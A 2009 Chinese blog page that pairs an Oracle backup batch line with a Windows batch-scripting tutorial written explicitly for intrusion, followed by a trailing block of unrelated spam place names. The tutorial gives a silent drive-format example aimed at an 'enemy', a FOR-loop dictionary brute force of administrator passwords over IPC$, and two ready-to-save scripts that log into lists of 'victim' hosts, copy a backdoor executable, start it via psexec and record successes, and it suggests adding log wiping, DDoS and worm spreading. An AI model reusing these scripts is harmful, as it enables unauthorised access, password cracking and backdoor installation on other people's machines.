          posted @ 2009-03-09 22:33 moonandsun 閱讀(210) | 評(píng)論 (0)編輯 收藏
                  對(duì)Oracle了解不是很多,很大程度上只停留在簡(jiǎn)單使用的層面上,至于Oracle備份問題更是涉足不深。但畢竟項(xiàng)目要做,數(shù)據(jù)庫(kù)要維護(hù)和備份,下面簡(jiǎn)述一下現(xiàn)階段我對(duì)數(shù)據(jù)庫(kù)(oracle)的備份。雖然該方法不是很好,但我認(rèn)為能在一定意義上解決一定問題。當(dāng)然,強(qiáng)烈希望高人看到此貼后能留下你的經(jīng)典備份之作,不勝感激。

                  首先你需要對(duì)oracle數(shù)據(jù)庫(kù)導(dǎo)入導(dǎo)出命令有所了解。
                  
                
                   下面是一段批處理命令,用于數(shù)據(jù)庫(kù)備份,最終文件備份格式:2009-03-07.dmp ("2009-03-07"為當(dāng)天日期)
          for /"usebackq delims= " %%i IN (`date /t`) DO exp system/manager@orcl file=E:\%%i.dmp 
                  
                   然后調(diào)用win的任務(wù)計(jì)劃,按照需要調(diào)用該批處理即可。
              
                 


                 
          posted @ 2009-03-07 10:33 moonandsun 閱讀(629) | 評(píng)論 (0)編輯 收藏
          1.Echo 命令
          打開回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒有任何參數(shù),echo 命令將顯示當(dāng)前回顯設(shè)置。
          語法
          echo [{on|off}] [message]
          Sample:echo off / echo hello world
          在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱為管道符號(hào),一般用> >> ^)結(jié)合來實(shí)現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來。

          2.@ 命令
          表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對(duì)方看到你使用的命令啦。
          Sample:@echo off
          @echo Now initializing the program,please wait a minite...
          @format X: /q/u/autoset (format 這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。)

          3.Goto 命令
          指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。
          語法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)
          Sample:
          if {%1}=={} goto noparms
          if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會(huì)有詳細(xì)的解釋。)
          @Rem check parameters if null show usage
          :noparms
          echo Usage: monitor.bat ServerIP PortNumber
          goto end
          標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來表示這個(gè)字母是標(biāo)簽,goto命令就是根據(jù)這個(gè):來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會(huì)理解你的意圖啊。

          4.Rem 命令
          注釋命令,在C語言中相當(dāng)與/*--------*/,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。
          Rem Message
          Sample:@Rem Here is the description.

          5.Pause 命令
          運(yùn)行 Pause 命令時(shí),將顯示下面的消息:
          Press any key to continue . . .
          Sample:
          @echo off
          :begin
          copy a:*.* d:\back
          echo Please put a new disk into driver A
          pause
          goto begin
          在這個(gè)例子中,驅(qū)動(dòng)器 A 中磁盤上的所有文件均復(fù)制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動(dòng)器 A 時(shí),pause 命令會(huì)使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。

          6.Call 命令
          從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call,它將不會(huì)在命令行起作用。
          語法
          call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
          參數(shù)
          [Drive:}[Path] FileName
          指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴(kuò)展名。

          7.start 命令
          調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。
          入侵常用參數(shù):
          MIN 開始時(shí)窗口最小化
          SEPARATE 在分開的空間內(nèi)開始 16 位 Windows 程序
          HIGH 在 HIGH 優(yōu)先級(jí)類別開始應(yīng)用程序
          REALTIME 在 REALTIME 優(yōu)先級(jí)類別開始應(yīng)用程序
          WAIT 啟動(dòng)應(yīng)用程序并等候它結(jié)束
          parameters 這些為傳送到命令/程序的參數(shù)
          執(zhí)行的應(yīng)用程序是 32-位 GUI 應(yīng)用程序時(shí),CMD.EXE 不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。
          8.choice 命令
          choice 使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234……

          如: choice /c:dme defrag,mem,end
          將顯示
          defrag,mem,end[D,M,E]?
          Sample:
          Sample.bat的內(nèi)容如下:
          @echo off
          choice /c:dme defrag,mem,end
          if errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼)
          if errorlevel 2 goto mem
          if errotlevel 1 goto end

          :defrag
          c:\dos\defrag
          goto end
          :mem
          mem
          goto end
          :end
          echo good bye

          此文件運(yùn)行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。

          9.If 命令

          if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:
          1、if "參數(shù)" == "字符串" 待執(zhí)行的命令
          參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))
          如if "%1"=="a" format a:
          if {%1}=={} goto noparms
          if {%2}=={} goto noparms

          2、if exist 文件名 待執(zhí)行的命令
          如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
          如if exist config.sys edit config.sys

          3、if errorlevel / if not errorlevel 數(shù)字 待執(zhí)行的命令
          如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
          如if errorlevel 2 goto x2
          DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱為錯(cuò)誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

          10.for 命令
          for 命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。
          在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable

          for {%variable|%%variable} in (set) do command [ CommandLineOptions]
          %variable 指定一個(gè)單一字母可替換的參數(shù)。
          (set) 指定一個(gè)或一組文件。可以使用通配符。
          command 指定對(duì)每個(gè)文件執(zhí)行的命令。
          command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。
          在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable
          而不要用 %variable。變量名稱是區(qū)分大小寫的,所以 %i 不同于 %I

          如果命令擴(kuò)展名被啟用,下列額外的 FOR 命令格式會(huì)受到
          支持:

          FOR /D %variable IN (set) DO command [command-parameters]

          如果集中包含通配符,則指定與目錄名匹配,而不與文件
          名匹配。

          FOR /R [[drive:]path] %variable IN (set) DO command [command-

          檢查以 [drive:]path 為根的目錄樹,指向每個(gè)目錄中的
          FOR 語句。如果在 /R 后沒有指定目錄,則使用當(dāng)前
          目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。

          FOR /L %variable IN (start,step,end) DO command [command-para

          該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。
          因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生
          序列 (5 4 3 2 1)。

          FOR /F ["options"] %variable IN (file-set) DO command
          FOR /F ["options"] %variable IN ("string") DO command
          FOR /F ["options"] %variable IN (command) DO command

          或者,如果有 usebackq 選項(xiàng):

          FOR /F ["options"] %variable IN (file-set) DO command
          FOR /F ["options"] %variable IN ("string") DO command
          FOR /F ["options"] %variable IN (command) DO command

          filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的
          下一個(gè)文件之前,每份文件都已被打開、讀取并經(jīng)過處理。
          處理包括讀取文件,將其分成一行行的文字,然后將每行
          解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值
          調(diào)用 For 循環(huán)。以默認(rèn)方式,/F 通過每個(gè)文件的每一行中分開
          的第一個(gè)空白符號(hào)。跳過空白行。您可通過指定可選 "options"
          參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)
          指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:

          eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè))
          skip=n - 指在文件開始時(shí)忽略的行數(shù)。
          delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的
          默認(rèn)分隔符集。
          tokens=x,y,m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代
          的 for 本身。這會(huì)導(dǎo)致額外變量名稱的
          格式為一個(gè)范圍。通過 nth 符號(hào)指定 m
          符號(hào)字符串中的最后一個(gè)字符星號(hào),
          那么額外的變量將在最后一個(gè)符號(hào)解析之
          分配并接受行的保留文本。
          usebackq - 指定新語法已在下類情況中使用:
          在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且
          引號(hào)字符為文字字符串命令并允許在 fi
          中使用雙引號(hào)擴(kuò)起文件名稱。

          sample1:
          FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

          會(huì)分析 myfile.txt 中的每一行,忽略以分號(hào)打頭的那些行,將
          每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體;用逗號(hào)和/或
          空格定界符號(hào)。請(qǐng)注意,這個(gè) for 程序體的語句引用 %i 來
          取得第二個(gè)符號(hào),引用 %j 來取得第三個(gè)符號(hào),引用 %k
          來取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件
          名,您需要用雙引號(hào)將文件名括起來。為了用這種方式來使
          用雙引號(hào),您還需要使用 usebackq 選項(xiàng),否則,雙引號(hào)會(huì)
          被理解成是用作定義某個(gè)要分析的字符串的。

          %i 專門在 for 語句中得到說明,%j 和 %k 是通過
          tokens= 選項(xiàng)專門得到說明的。您可以通過 tokens= 一行
          指定最多 26 個(gè)符號(hào),只要不試圖說明一個(gè)高于字母 z 或
          Z 的變量。請(qǐng)記住,F(xiàn)OR 變量是單一字母、分大小寫和全局的;
          同時(shí)不能有 52 個(gè)以上都在使用中。

          您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,
          用單引號(hào)將括號(hào)之間的 filenameset 括起來。這樣,該字符
          串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。

          最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
          括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)
          被當(dāng)作命令行,傳遞到一個(gè)子 CMD.EXE,其輸出會(huì)被抓進(jìn)
          內(nèi)存,并被當(dāng)作文件分析。因此,以下例子:

          FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

          會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。

          另外,F(xiàn)OR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列
          選項(xiàng)語法:

          ~I - 刪除任何引號(hào)("),擴(kuò)充 %I
          %~fI - 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名
          %~dI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)
          %~pI - 僅將 %I 擴(kuò)充到一個(gè)路徑
          %~nI - 僅將 %I 擴(kuò)充到一個(gè)文件名
          %~xI - 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名
          %~sI - 擴(kuò)充的路徑只含有短名
          %~aI - 將 %I 擴(kuò)充到文件的文件屬性
          %~tI - 將 %I 擴(kuò)充到文件的日期/時(shí)間
          %~zI - 將 %I 擴(kuò)充到文件的大小
          %~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充
          到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量
          未被定義,或者沒有找到文件,此組合鍵會(huì)擴(kuò)充
          空字符串

          可以組合修飾符來得到多重結(jié)果:

          %~dpI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑
          %~nxI - 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名
          %~fsI - 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名
          %~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充
          到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。
          %~ftzaI - 將 %I 擴(kuò)充到類似輸出線路的 DIR

          在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語法
          用一個(gè)有效的 FOR 變量名終止。選取類似 %I 的大寫變量名
          比較易讀,而且避免與不分大小寫的組合鍵混淆。

          以上是MS的官方幫助,下面我們舉幾個(gè)例子來具體說明一下For命令在入侵中的用途。

          sample2:

          利用For命令來實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。
          我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。
          最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
          用i%來表示admin的密碼,在dict.txt中這個(gè)取i%的值用net use 命令來連接。然后將程序運(yùn)行結(jié)果傳遞給find命令--
          for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

          sample3:

          你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開心的一件事都會(huì)變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡(jiǎn)化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。

          主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable)
          @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
          tokens的用法請(qǐng)參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。
          而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來篩選成功種植后門的主機(jī),并echo出來,或者echo到指定的文件。
          delims= 表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來排列,一般就是 ip password username。
          代碼雛形:

          --------------- cut here then save as a batchfile(I call it main.bat ) --------------------
          @echo off
          @if "%1"=="" goto usage
          @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
          @goto end
          :usage
          @echo run this batch in dos modle.or just double-click it.
          :end
          --------------- cut here then save as a batchfile(I call it main.bat ) --------------------

          ------------------- cut here then save as a batchfile(I call it door.bat) -----------------
          @net use \\%1\ipc$ %3 /u:"%2"
          @if errorlevel 1 goto failed
          @echo Trying to establish the IPC$ connection …………OK
          @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
          @p***ec \\%1 c:\winnt\system32\windrv32.exe
          @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
          :failed
          @echo Sorry can not connected to the victim.
          ----------------- cut here then save as a batchfile(I call it door.bat) -------------------
          這只是一個(gè)自動(dòng)種植后門批處理的雛形,兩個(gè)批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容
          尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
          posted @ 2009-03-07 10:02 moonandsun 閱讀(178) | 評(píng)論 (0)編輯 收藏

          一直在忙碌的學(xué)習(xí)、工作,感覺懂了很多東西,又似乎什么也不懂,該好好總結(jié)一下了,此博客應(yīng)運(yùn)而生。

          posted @ 2009-02-09 22:45 moonandsun 閱讀(82) | 評(píng)論 (0)編輯 收藏
          主站蜘蛛池模板: 甘德县| 延川县| 柞水县| 平山县| 开封市| 尼玛县| 淮安市| 财经| 松阳县| 独山县| 元氏县| 昌图县| 江西省| 巩义市| 津市市| 沙洋县| 雷波县| 广宁县| 西充县| 龙口市| 常熟市| 太和县| 启东市| 荃湾区| 西林县| 通辽市| 兴和县| 永州市| 荆州市| 晋城| 宣武区| 黄平县| 金乡县| 乌拉特中旗| 彭州市| 兰坪| 崇礼县| 莆田市| 醴陵市| 隆安县| 普定县|